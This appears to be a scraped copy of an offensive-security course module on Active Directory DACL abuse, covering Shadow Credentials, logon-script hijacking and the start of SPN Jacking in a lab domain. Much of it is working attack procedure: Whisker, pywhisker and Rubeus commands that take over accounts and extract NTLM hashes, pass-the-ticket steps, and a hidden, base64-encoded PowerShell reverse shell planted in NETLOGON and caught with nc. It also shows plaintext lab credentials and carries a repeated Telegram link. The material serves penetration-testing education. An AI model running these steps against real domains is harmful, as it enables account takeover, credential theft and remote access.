DACL Attacks II
DACL Attacks II
DACL Attacks II
Introduction to DACL Attacks II
Within the complex landscape of Windows security, understanding which types of
Discretionary Access Control Lists (DACLs) can be abused is vital for both defenders and
attackers. DACLs are an essential component of security descriptors, which dictate
principals' permissions and access rights to system objects. This module will explore several
attack techniques that exploit vulnerabilities related to DACLs, enabling students to
understand better how DACL configurations can be abused.
Building on the foundational knowledge established in DACL Attacks I, this module covers
more DACL abuse, continuing to explore techniques that exploit DACL misconfigurations,
providing students with an understanding of how attackers leverage these vulnerabilities to
compromise system security.
Other DACL attacks that were not covered on DACL I & II are included within other modules
such as Kerberos Attacks, Active Directory Enumeration and Attacks, Active Directory
BloodHound, etc.
As threats evolve and new attack vectors emerge, we are committed to continuously
updating this module with the latest information and techniques related to DACL attacks.
This commitment ensures that our content remains relevant and provides cutting-edge
knowledge to counteract emerging security challenges in cybersecurity effectively.
https://t.me/offenciveSec
Coming Next
Our next step is to apply the concepts of DACL exploitation techniques through hands-on
exercises. We will guide you in enumerating and abusing DACLs using Linux and Windows.
This practical application will reinforce your theoretical understanding and equip you with the
necessary skills to identify and mitigate DACL misconfigurations in real-world scenarios.
Shadow Credentials
Shadow Credentials is an alternative user and computer account takeover technique that
abuses Windows Hello for Business functionality for passwordless authentication. It works
by adding Key Credentials to the msDS-KeyCredentialLink attribute of the target
user/computer account and then performing Kerberos authentication as that account using
PKINIT. This method is much easier and more reliable than primitive techniques such as
Password Reset or Roasting against users and RBCD against computers.
Kerberos Pre-Authentication
In Active Directory domains, the Kerberos Authentication Process relies on a preliminary
step called pre-authentication . The purpose of pre-authentication is to prevent
offline attacks like AS-REP Roasting, where anyone can obtain an encrypted blob using a
client's password-derived key and attempt to crack it. To prove their identity, the client has to
encrypt the current timestamp with their key, which derives the client's password (DES, RC4,
AES128, or AES256) and sends it to the KDC. If the KDC can decrypt the timestamp, the
client is using the correct password-derived key, as the KDC has access to all passwords
derived keys in the domain.
https://t.me/offenciveSec
There is, however, a use case where the key derived from the password is not used at all,
and the pre-authentication scheme is conducted asymmetrically. This scenario is called
Public Key Cryptography for Initial Authentication (PKINIT) and allows a user to obtain a TGT
with a x509 certificate within Active Directory domains configured with a PKI (Public Key
Infrastructure). It's worth noting that AD CS (Active Directory Certificate Services) is
Microsoft's PKI implementation.
https://t.me/offenciveSec
The PKINIT protocol is a security protocol that authenticates entities on a network using
public key cryptography. PKINIT is a pre-authentication extension that extends the
Kerberos Protocol to use public key cryptography and ticket-granting ticket (TGT) data
signing during the initial AS exchange. It's specified in [RFC4556], but Microsoft has made
some modifications for Windows implementation of PKINIT that differs from [RFC4556]
which can be found in [MS-PKCA]: Public Key Cryptography for Initial Authentication
(PKINIT) in Kerberos Protocol.
Passwordless authentication
Microsoft introduced the concept of Key Trust in Windows Server 2016 to enable
passwordless authentication in environments that don't support Certificate Trust. With Key
Trust, PKINIT authentication is established using raw key data stored in the AD object's
attribute called msDS-KeyCredentialLink instead of a certificate.
The client's public key is stored in the multi-value attribute, msDS-KeyCredentialLink . This
attribute's values are Key Credentials, serialized objects containing information such as the
creation date, the distinguished name of the owner, a GUID that represents a Device ID,
and, of course, the public key. It is a multi-value attribute because an account has several
linked devices.
https://t.me/offenciveSec
Let's connect to the target machine to complete the exercises, we will use the acount
jeffry with the password Music001 :
We can use PowerView to query for users with msDS-KeyCredentialLink attribute not
empty:
logoncount : 5
msds-keycredentiallink :
B:828:00020000200001A98B9A34A7566C0B8633DF6ADBF934CFE79BE8617097536146F1F0
62ED29659920000272FF1:CN=Gabriel,
CN=Users,DC=lab,DC=local
badpasswordtime : 1/1/1601 1:00:00 AM
distinguishedname : CN=Gabriel,CN=Users,DC=lab,DC=local
objectclass : {top, person, organizationalPerson, user}
displayname : Gabriel
lastlogontimestamp : 4/27/2024 6:18:37 PM
userprincipalname : [email protected]
name : Gabriel
objectsid : S-1-5-21-2570265163-3918697770-3667495639-4602
samaccountname : gabriel
...SNIP...
This attribute contains Key Credentials, which are serialized objects that include information
such as the creation date, the distinguished name of the owner, a GUID representing a
Device ID, and, of course, the public key itself. Since an account can have multiple linked
devices, msDS-KeyCredentialLink is a multi-value attribute.
Microsoft passwordless solution is called Windows Hello for Business (WHfB). With WHfB,
when a user enrolls, the TPM generates a public-private key pair for their account. The
private key is stored in the TPM and never leaves it. Suppose the organization has
implemented the Certificate Trust model. In that case, the client issues a certificate request
to obtain a trusted certificate from the environment’s certificate issuing authority for the TPM-
https://t.me/offenciveSec
generated key pair. On the other hand, if the Key Trust model is implemented, the public key
is stored in a new Key Credential object in the msDS-KeyCredentialLink attribute of the
account. The private key is protected by a PIN code, which can be replaced with a biometric
authentication factor like fingerprint or face recognition, thanks to Windows Hello.
Windows attempts to perform PKINIT authentication using their private key when a client
logs in. Under the Key Trust model, the Domain Controller can decrypt their pre-
authentication data using the raw public key in the corresponding object stored in the client’s
msDS-KeyCredentialLink attribute.
The tool called Whisker can be used to take over Active Directory user and computer
accounts by manipulating their msDS-KeyCredentialLink attribute, effectively adding
Shadow Credentials to the target account.
https://t.me/offenciveSec
Shadow Credential attack is possible when the controlled account has a GenericAll ,
GenericWrite , over the target, or WriteProperty over the target's msDS-
KeyCredentialLink attribute. As we mentioned in Passwordless authentication, we can
add alternate credentials and request a TGT to authenticate as the target.
The encrypted PAC is stored within the ticket, which is encrypted using the key of the service
it was issued for. For a TGT, the ticket is encrypted using the key of the KRBTGT account,
which the client cannot decrypt. To obtain a ticket that can be decrypted, the client needs to
perform Kerberos User-to-User (U2U) authentication to itself.
Every time a client requests a TGT, a new session key is created. The KDC does not keep a
record of active session keys but extracts the session key from the client's ticket. When a
user requests a U2U TGS-REQ , the KDC uses the target user's TGT as an additional ticket in
the response. The KDC then extracts the session key from the encrypted part of the TGT
and generates a new service ticket.
The above means that if we request a U2U Service Ticket from ourselves to ourselves, we
will be able to decrypt the ticket and access the PAC and the NTLM hash because the key
used to encrypt the ticket is in our possession. By modifying the msDS-KeyCredentialLink
property, we can also obtain a user's or computer's NTLM hash.
https://t.me/offenciveSec
Pre-requisites
For this technique to work, it is necessary to have the ability to write the attribute msDS-
KeyCredentialLink on a target user or computer, and the environment must be set up as
follows:
1. The target Domain must have at least one Domain Controller running Windows Server
2016 or above.
2. The Domain Functional Level should be Windows Server 2016 or above.
3. The Domain Controller to be used during the attack must have its certificate and keys.
This means the organization must have AD CS, PKI, CA, or something similar.
https://t.me/offenciveSec
To identify if we have an account with GenericAll , GenericWrite , over the target, or
WriteProperty over the target's msDS-KeyCredentialLink attribute, we can use
PowerView, BloodHound, dacledit, and any other tool that allows us to retrieve ACL
information out of Active Directory.
Let's start with BloodHound and connect to the target machine using RDP with Jeffry's
credentials.
Note: We can use any BloodHound version to get this edge. Both versions will be provided
in C:\Tools . Consider verifying that the version of BloodHound you are using is compatible
with the version of SharpHound.
We must import the SharpHound output file into BloodHound and then search for a path from
Jeffry (the account we control) to any other account. Let's check the path from Jeffry to
Gabriel:
https://t.me/offenciveSec
There's also a path from Jeffry to Monic with AddKeyCredentialLink , this means that Jeffry
has WriteProperty to this attribute:
https://t.me/offenciveSec
Aditionally, we can use PowerView or SharpView:
ObjectDN : CN=Gabriel,CN=Users,DC=lab,DC=local
ObjectSID : S-1-5-21-2570265163-3918697770-3667495639-4602
ActiveDirectoryRights : GenericAll
BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 983551
SecurityIdentifier : S-1-5-21-2570265163-3918697770-3667495639-4601
AceType : AccessAllowed
cd impacket
python3 -m venv .dacledit
source .dacledit/bin/activate
Now, in the following example, we will query what rights the user Jeffry has over the target
account, Gabriel:
https://t.me/offenciveSec
python3 examples/dacledit.py -target gabriel -principal jeffry -dc-ip
10.129.228.236 lab.local/jeffry:Music001
Impacket v0.9.25.dev1+20230823.145202.4518279 - Copyright 2021 SecureAuth
Corporation
As the command's output shows, Jeffry has FullControl over the target account, Gabriel.
We found one key in this account. To add new credentials, we have two options: We can
provide a certificate file that will be used as the alternative credentials for the account, or we
can use .\Whisker.exe add /target:gabriel to generate the certificate and print the
Rubeus command needed to retrieve the account's TGT and NTLM hash.
https://t.me/offenciveSec
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID 48d97546-cac9-4e92-981b-
e89da231f7a8
[*] Updating the msDS-KeyCredentialLink attribute of the target object
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] You can now run Rubeus with the following syntax:
Now we can run Rubeus to get the TGT and NTLM hash. We must use the option
/getcredentials to retrieve the NTLM hash:
v2.3.2
doIGJjCCBiKgAwIBBaEDAgEWooIFRTCCBUFhggU9MIIFOaADA...SNIP...
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : 2D1DA879CA71003...SNIP...
https://t.me/offenciveSec
Now, we have two options for using the output provided by Rubeus: we can use the NT Hash
with any of our preferred tools or Gabriel's TGT. Let's use the ticket with Rubeus.
One of the different methods we can use is to create a sacrificial logon session using the
Rubeus option createnetonly :
v2.3.2
When we specify the option /show , it will display the process we executed. In this case, we
run powershell.exe . In the new PowerShell window, we need to use Rubeus ptt with the
option /ticket:<BASE64 output> to perform a Pass the Ticket attack:
v2.3.2
https://t.me/offenciveSec
Now, this PowerShell process has Gabriel's TGT, meaning we can use his privileges.
Additionally, we can use the option remove to delete a specific value from the msDS-
KeyCredentialLink attribute or the option clear to remove all values.
To use pywhisker , we need to provide the credentials of the account we control and have
rights over the target account. We can use the option --target <account> and the option
--action add to perform the Shadow Credential attack:
https://t.me/offenciveSec
python3 pywhisker.py -d lab.local -u jeffry -p Music001 --target gabriel -
-action add
[*] Searching for the target account
[*] Target user found: CN=Gabriel,CN=Users,DC=lab,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: a37a618e-ac85-4053-3519-
12bf69744e5b
[*] Updating the msDS-KeyCredentialLink attribute of gabriel
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: BX4EWk8m.pfx
[*] Must be used with password: KQAx5lHP3h9TtzNly2Us
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
The output provides us with three essential things: the KeyCredential DeviceID, the
name of the certificate (in this case, BX4EWk8m.pfx ), and the certificate's password
KQAx5lHP3h9TtzNly2Us . We can use those values with PKINITtools to get a TGT as
Gabriel , but before that, let's install PKINITtools :
gettgtpkinit.py is one of the tools available in PKINITtools , that will help us generate
the TGT. We will use the option -cert-pfx <certificate file> as well -pfx-pass
<password> to specify the password, and finally the value of domain/username and the
ccache filename:
https://t.me/offenciveSec
2024-02-15 12:53:15,954 minikerberos INFO
46c30d948cbe2ab0749d2f72896692c18673e9a4fae6438bff32a33afb49245a
INFO:minikerberos:46c30d948cbe2ab0749d2f72896692c18673e9a4fae6438bff32a33a
fb49245a
2024-02-15 12:53:15,956 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
If we provide the correct parameters, we will have a file named gabriel.ccache that
represents the TGT to be used in Linux. The output of gettgtpkinit.py also has the AS-
REP encryption key we can use to decrypt the ticket and extract Gabriel's NT Hash. We
need to use the tool getnthash.py available in PKINITtools and add the option -key
<key> , and we also need to use the TGT. To do that we will use
KRB5CCNAME=gabriel.ccache before running Python, so the following command uses this
variable and loads the TGT:
The above output shows Gabriel NT Hash. We can use the NT hash or the TGT to
impersonate Gabriel as follows:
Note: To use Kerberos and generate a TGT, we need to be able to make a domain name
resolution. We can configure our DNS to point to the domain or put the domain name in the
/etc/hosts file.
Coming Next
https://t.me/offenciveSec
After understanding Shadow Credentials and their implications in Active Directory
environments, we will delve into Logon Scripts. These scripts automate various user tasks or
configurations upon logging into the domain. We'll discuss how to abuse these mechanisms
to execute malicious scripts.
Logon Scripts
scriptPath supports batch (*.bat) or command (*.cmd) files, executable programs (*.exe),
or programs written in any language hosted by the Windows Script Host automation
technology, including VBScript and JScript. Additionally, KiXtart, a logon script processor and
enhanced batch scripting language can be used. Regardless of the myriad of languages it
https://t.me/offenciveSec
supports, scriptPath does not support PowerShell; however, we can run PowerShell
commands from within batch and VBScript files.
To allow for replication to all domain controllers in the domain, Windows stores logon
scripts in the scripts folder within the SYSVOL network share (which, on a domain
controller, resides at the physical location %systemroot%\SYSVOL\sysvol ); SYSVOL also
stores domain and system policies, including Group Policy Objects . For ease of use, the
NETLOGON network share holds all the logon scripts that reside in the
%systemroot%\SYSVOL\sysvol\<DOMAIN_DNS_NAME>\scripts\ folder, and these two are
the same. The LOGONSERVER environment variable, which evaluates to the NetBIOS name of
the domain controller that authenticated the current user, can help us locate the SYSVOL and
NETLOGON network shares.
For Windows to be able to execute them once a user logs into the domain, Logon scripts
set via the scriptPath attribute (which are known as Legacy logon scripts ) must be
placed within the NETLOGON share; it is not possible to have them on a different network
share, regardless whether they are local or remote ones.
Alternatively, a logon script that applies to all domain users can be set in Group Policy
(which are known as Modern logon scripts ) using the setting found at User
Configuration ---> Windows Settings ---> Scripts (Logon/Logoff) ---> Logon :
In addition to all the languages that scriptPath supports, this Group Policy setting
supports using PowerShell scripts for logon scripts :
https://t.me/offenciveSec
Abusing scriptPath
Throughout engagements, abusing logon scripts via rights on a user's scriptPath
attribute depends on whether we can write or read it and other factors.
Write scriptPath
Possessing the right to write a user's scriptPath opens avenues for potential attack
paths. If we have write permissions anywhere within the NETLOGON share (both NTFS
permissions and share permissions), we can set a user's scriptPath to a custom exploit
script. This section will focus on exploiting write rights over a user's scriptPath .
Read scriptPath
In cases where we do not have rights to write a user's scriptPath , having rights to read
it, which is the default, can still be advantageous: we can inspect the permissions we have
on the file scriptPath points to (using tools such as icacls ). Suppose we have write
permissions on that file. In that case, we can execute the same attacks as if we had write
rights on scriptPath without requiring write permissions anywhere within NETLOGON ; this
becomes particularly valuable when a "stub" logon script is employed, where scriptPath
points to another file containing the actual logon script code, often stored in a network share
other than NETLOGON (which domain users might have write permissions on).
Scenario
Our client, inlanefreight , has provided us the username david and the password
SecurePassDav!d5 to determine what DACL attacks the user can perform against the user
eric .
https://t.me/offenciveSec
Enumeration from Linux
To enumerate the ACEs that david has over eric from Linux, we will use PywerView ,
dacledit , and Adalanche .
PywerView
PywerView is a partial Python port of PowerSploit's PowerView, enabling us to utilize all the
powerful Cmdlets from Linux.
Installation
To use PywerView , we need to install libkrb5-dev , clone the PywerView repository, and
install its requirements:
objectdn: CN=eric,CN=Users,DC=inlanefreight,DC=local
objectsid: S-1-5-21-3456308105-2521031762-2678499478-2104
acetype: ACCESS_DENIED_OBJECT_ACE
binarysize: 40
aceflags:
accessmask: 256
activedirectoryrights: extended_right
isinherited: False
securityidentifier: Everyone
objectaceflags: object_ace_type_present
https://t.me/offenciveSec
objectacetype: User-Change-Password
inheritedobjectacetype: All
iscallbak: False
<SNIP>
PywerView will return all the ACEs belonging to eric in the domain; however, we only want
the ones that david has on eric . To retrieve them, we will use the --json option and pipe
the output into jq, filtering ACEs that have the string david in their securityidentifier
field:
[
{
"objectdn": "CN=eric,CN=Users,DC=inlanefreight,DC=local",
"objectsid": "S-1-5-21-3456308105-2521031762-2678499478-2104",
"acetype": "ACCESS_ALLOWED_OBJECT_ACE",
"binarysize": 56,
"aceflags": [
"container_inherit"
],
"accessmask": 48,
"activedirectoryrights": [
"read_property",
"write_property"
],
"isinherited": false,
"securityidentifier": "CN=david,CN=Users,DC=inlanefreight,DC=local",
"objectaceflags": [
"object_ace_type_present"
],
"objectacetype": "Script-Path",
"inheritedobjectacetype": "All",
"iscallbak": false
}
]
https://t.me/offenciveSec
dacledit
We can use dacledit to enumerate the ACEs that david has over eric .
In the ACE flags field, dacledit displays that david has ReadProperty and
WriteProperty over the Object type (GUID) field with the value bf9679a8-0de6-11d0-
a285-00aa003049e2 , which belongs to scriptPath; therefore, david has read and write
rights on eric 's scriptPath .
Adalanche
Although CLI tools can suffice when enumerating the DACLs of a few targets, GUI ones can
provide us with a more detailed and user-friendly interface, enhancing visualization and
interaction capabilities. BloodHound CE does not display nodes connected with a write
scriptPath edge; however, Adalanche does.
https://t.me/offenciveSec
Installation
To install and use Adalanche , first, we need to make sure that our local Go installation is
up-to-date:
Afterward, we will add Go 's binary found at /usr/bin/go/bin to the system environment
variable PATH :
export PATH=$PATH:/usr/bin/go/bin
go version
Subsequently, we need to clone the Adalanche repository and run the build script named
build.ps1 with PowerShell:
The binaries/ folder will contain cross-platform binaries of Adalanche ; in the case of
Pwnbox , we will use the adalanche-linux-x64-* one.
Data Collection
https://t.me/offenciveSec
To collect data from domain controllers and domain-joined Windows systems, we will use the
collect activedirectory command, passing the domain name for the --domain option,
the domain controller's IP address for the --server option, and the username and
password of the domain user for the --username and --password options, respectively:
Data Analysis
Once Adalanche finishes collecting data, we will use the analyze command to launch
Adalanche 's interactive discovery tool, passing the directory of the collected data for the --
datapath option:
<SNIP>
By default, Adalanche defaults to the sample query named " Who owns your AD (Reach
Domain Admin etc) ":
https://t.me/offenciveSec
To retrieve domain users along with their relevant DACL attack paths, we will use the LDAP
query (objectClass=user) (if Adalanche produces a graph with a complex layout, click on
Analyze once more to obtain an alternative arrangement.):
Then, we will right-click on the david node/user and choose What can this node pwn? :
https://t.me/offenciveSec
Adalanche will display DACL attack paths that david can compromise other nodes with;
when clicking over the edge between david and eric , we will notice that david has
WriteScriptPath over eric ; therefore, david has write rights on eric 's scriptPath :
https://t.me/offenciveSec
PowerView
After importing the PowerView module, we will save the SID of david into a variable and
then use Get-DomainObjectAcl to get all of eric 's ACEs, filtering ones that contain the SID
of david in their SecurityIdentifier field:
AceQualifier : AccessAllowed
ObjectDN : CN=eric,CN=Users,DC=inlanefreight,DC=local
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType : Script-Path
ObjectSID : S-1-5-21-3456308105-2521031762-2678499478-2104
InheritanceFlags : ContainerInherit
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-3456308105-2521031762-2678499478-2103
AccessMask : 48
AuditFlags : None
IsInherited : False
AceFlags : ContainerInherit
InheritedObjectAceType : All
OpaqueLength : 0
Adalanche
Installing and running Adalanche on Windows is the same as on Linux -based systems,
given that it compiles to cross-platform binaries that can run on x86 , x64 , and ARM64
architectures. However, using it on Windows can be much simpler because we can run it
without supplying any parameters, making it run in " full auto" mode; in this mode,
Adalanche attempts to autodetect as many parameters on its own and collects data from
the AD environment and then launches its interactive discovery tool automatically.
https://t.me/offenciveSec
Abusing Write scriptPath from Linux
After determining that david has write (and read ) rights over eric 's scriptPath , we
will attempt to exploit this DACL misconfiguration from Linux to gain a reverse shell as eric ,
following the attack path below:
1. Enumerate the NETLOGON share to determine whether david has write permissions
anywhere within it.
2. If david does have write permissions, create in NETLOGON a .bat or .vbs file that
runs a PowerShell reverse shell one-liner.
3. Update eric 's scriptPath to be the same path as the payload file we placed in Step
2.
4. Wait until eric logs onto the domain to receive the reverse shell.
Step 1
We will use smbclient ( SMBMap is another alternative) to list the available folders within
NETLOGON :
From smbclient 's output, we will discover that there is a folder named "EricsScripts"; to
determine the permissions that david has on it, we will utilize smbcacls, which enables us
to view ACLs on an NT file or directory names (ensure there is space after the share's
name):
REVISION:1
CONTROL:SR|DI|DP
OWNER:BUILTIN\Administrators
GROUP:INLANEFREIGHT\Domain Users
ACL:INLANEFREIGHT\david:ALLOWED/OI|CI/RWX
ACL:BUILTIN\Administrators:ALLOWED/I/FULL
ACL:CREATOR OWNER:ALLOWED/OI|CI|IO|I/FULL
ACL:NT AUTHORITY\Authenticated Users:ALLOWED/OI|CI|I/READ
https://t.me/offenciveSec
ACL:NT AUTHORITY\SYSTEM:ALLOWED/OI|CI|I/FULL
ACL:BUILTIN\Administrators:ALLOWED/OI|CI|IO|I/FULL
ACL:BUILTIN\Server Operators:ALLOWED/OI|CI|I/READ
smbcacls displays that david has R ( Read ), W ( Write ), and X ( Execute ) permissions
on the folder; therefore, we can write files, and most importantly our exploit script, to the
folder.
Step 2
To establish a reverse shell as eric with PowerShell, we can use the PowerShell #1
Windows reverse shell payload from revshells.com, making sure to replace IP with the
Pwnbox IP and PORT with the listener's port:
Because we will run the PowerShell payload from a .bat or .vbs file, we can use Python
to convert it to UTF-16LE ( 16-bit Unicode Transformation Format Little-Endian )
then base64-encode it to avoid dealing with escaping quotation marks (alternatively, we can
directly use the PowerShell #3 (Base64) reverse shell from revshells.com):
https://t.me/offenciveSec
$StreamWriter.Close()""").encode("utf-16-le")).decode())'
JABMAEgATwBTAFQAIAA9ACAAIgAxADAALgAxADIAOQAuADIAMgA5AC4AOAA0ACIAOwAgACQATA
BQAE8AUgBUACAAPQAgADkAMAAwADEAOwAgACQAVABDAFAAQwBsAGkAZQBuAHQAIAA9ACAATgBl
AHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAG
UAbgB0ACgAJABMAEgATwBTAFQALAAgACQATABQAE8AUgBUACkAOwAgACQATg<SNIP>
Then, within a .bat file, we will use the powershell command and pass to it the switches -
ExecutionPolicy Bypass, -WindowStyle Hidden, and most importantly, -EncodedCommand/-
enc followed by the PowerShell encoded reverse shell one-liner:
Alternatively, we can use a .vbs file along with the CreateObject wscript method to execute
the encoded payload:
At this point, the payload file is implanted within NETLOGON ; before learning how to update
eric 's scriptPath attribute from Linux, we need to start an nc listener on the same port
we specified in the PowerShell reverse shell one-liner:
https://t.me/offenciveSec
nc -nvlp 9001
Note: Remember that we can execute any other commands we want as Eric . Suppose
that Eric only has User-Force-Change-Password (the Password Abuse section of the
DACL Attacks I module covered its abuse) over another user, a high-value one, called Sam .
Rather than obtaining a reverse shell (which might be of little use) as Sam , we can instead
abuse User-Force-Change-Password to reset the account's password.
Step 3
To modify eric 's scriptPath to be the same location as the payload file we placed in Step
2, we will use ldapmodify and bloodyAD .
LdapModify
ldapmodify is a powerful command-line utility that allows applying a set of add, delete,
modify, and/or modify DN operations to an LDAP directory. We supply the changes we want
to perform by using the LDIF: The LDAP Data Interchange Format change format, as
described in RFC2849.
In our case, we will use an LDIF modify change record to modify eric 's scriptPath ,
setting it to point to the payload file we implanted in the "EricsScripts" folder within
NETLOGON . Because logon scripts are always expected to be within NETLOGON , instead
of providing the absolute path of the file, we can use its relative one:
dn: CN=eric,CN=Users,DC=inlanefreight,DC=local
changetype: modify
replace: scriptPath
scriptPath: EricsScripts\logonScript.bat
Then, to apply the change, we will use ldapmodify , passing to it the LDIF file with the -f
flag:
To ensure that the attribute has been updated, we will use ldapsearch to retrieve the value of
eric 's scriptPath :
https://t.me/offenciveSec
ldapsearch -LLL -H ldap://10.129.229.224 -x -D '[email protected]' -w
'SecurePassDav!d5' -b "DC=inlanefreight,DC=local" "(sAMAccountName=Eric)"
scriptPath
dn: CN=eric,CN=Users,DC=inlanefreight,DC=local
scriptPath: EricsScripts\logonScript.bat
<SNIP>
From ldapsearch 's output, we will know that ldapmodify has successfully updated the
attribute.
bloodyAD
bloodyAD is an AD privilege escalation command-line utility that allows us to set and get
values of objects' attributes in addition to many other operations.
Installation
Collecting bloodyAD
Downloading bloodyad-1.1.1-py3-none-any.whl (191 kB)
|████████████████████████████████| 191 kB 16.1 MB/s
Requirement already satisfied: pyasn1>=0.4.8 in /usr/lib/python3/dist-
packages (from bloodyAD) (0.4.8)
Collecting ldap3>=2.9.1
Downloading ldap3-2.9.1-py2.py3-none-any.whl (432 kB)
|████████████████████████████████| 432 kB 44.4 MB/s
<SNIP>
Then, we will use the set object command on eric 's scriptPath , setting it to point to
the payload file we implanted in the "EricsScripts" folder we found on the domain controller:
['EricsScripts\\logonScript.bat']
https://t.me/offenciveSec
[+] eric's scriptPath has been updated
To ensure that bloodyAD updated the attribute accordingly, we will use get object
(instead of set object ) and pass scriptPath for the --attr flag:
distinguishedName: CN=eric,CN=Users,DC=inlanefreight,DC=local
scriptPath: EricsScripts\logonScript.bat
From bloodyAD 's output, we will know it has successfully updated the attribute.
Step 4
Once the user eric logs onto the domain, we will receive the reverse shell:
nc -nvlp 9001
From here, we can continue compromising the domain, moving laterally as eric .
Step 1
We can use ls on the LOGONSERVER environment variable followed by NETLOGON to list the
available folders:
PS C:\Users\david> ls $env:LOGONSERVER\NETLOGON
Directory: \\DC03\NETLOGON
https://t.me/offenciveSec
---- ------------- ------ ----
<SNIP>
d----- 5/2/2024 12:21 PM EF0ACCC0DBED
d----- 5/2/2024 12:25 PM EFD0FF1ABB33
d----- 5/3/2024 6:34 AM EricsScripts
d----- 5/2/2024 12:23 PM FECA1DBD30F2
<SNIP>
Then, we will use icacls to enumerate the permissions that david has on the "EricsScripts"
folder:
\\DC03\NETLOGON\EricsScripts INLANEFREIGHT\david:(OI)(CI)(RX,W)
NT AUTHORITY\Authenticated Users:(I)(RX)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)
(IO)(GR,GE)
BUILTIN\Server Operators:(I)(RX)
BUILTIN\Server Operators:(I)(OI)(CI)(IO)
(GR,GE)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Similar to smbcacls , icacls displays that david has R ( Read ), W ( Write ), and X (
Execute ) permissions on the folder.
Alternatively, we can use ScriptSentry, described in the blog post Hidden Menace: How to
Identify Misconfigured and Dangerous Logon Scripts, to automate the discovery of
misconfigurations in logon scripts, including:
ScriptSentry will enumerate for dangerous/unsafe permissions on logon script files within
NETLOGON . After running Invoke-ScriptSentry.ps1 (found within C:\Tools ), we discover
https://t.me/offenciveSec
that the user daniel has Read , Write , and Execute on the logon script 'logonScript.bat',
and that the logon script 'scriptShare.cmd' contains plaintext credentials:
Running Invoke-ScriptSentry
PS C:\Tools> .\Invoke-ScriptSentry.ps1
v0.5
__,_______
/ __.==---/ * * * * * *
/ (-'
-'
Setting phasers to stun, please wait..
Type File
User Rights
---- ----
---- ------
UnsafeLogonScriptPermission
\\inlanefreight.local\sysvol\inlanefreight.local\scripts\DEFB03023DDA\3D2F
AA0A2110\logonScript.bat INLANEFREIGHT\daniel
Modify, Synchronize
Type File
Credential
---- ----
----------
https://t.me/offenciveSec
Credentials
\\inlanefreight.local\sysvol\inlanefreight.local\scripts\scriptShare.cmd
net use h: \\DC03.inlanefreight.local\Shared\General /user:wayne
Access2AllUsersSecure!
Step 3
To modify eric 's scriptPath , we can use PowerView .
Set-DomainObject
After importing the PowerView module, we will use Set-DomainObject, passing to the
scriptPath and the location of our payload file:
To ensure that PowerView updated the attribute accordingly, we will use Get-DomainObject
and pass scriptPath for the -Properties flag:
scriptpath
----------
EricsScripts\logonScript.bat
From PowerView 's output, we will know it has successfully updated the attribute.
SPN Jacking
SPN Jacking is an alternative method to abuse WriteSPN rights. Highlighted this blog SPN-
jacking: An Edge Case in WriteSPN Abuse, it mixes DACL Abuse with manipulating
Constrained Delegation to allow the abuse of WriteSPN when password cracking is not
possible. This method requires a deeper understanding of network permissions and
delegation processes to be effective, and it's beneficial because password cracking is
optional.
To better understand SPN Jacking, let's refresh on how Constrained Delegation works. In the
section Constrained Delegation Overview & Attacking from Windows, we showcase a
https://t.me/offenciveSec
scenario where we compromise the WEBSRV server with constrained delegation rights for the
SPN SQL/DBSRV .
SPN jacking works by using the WriteSPN rights to remove the SQL/DBSRV SPN from
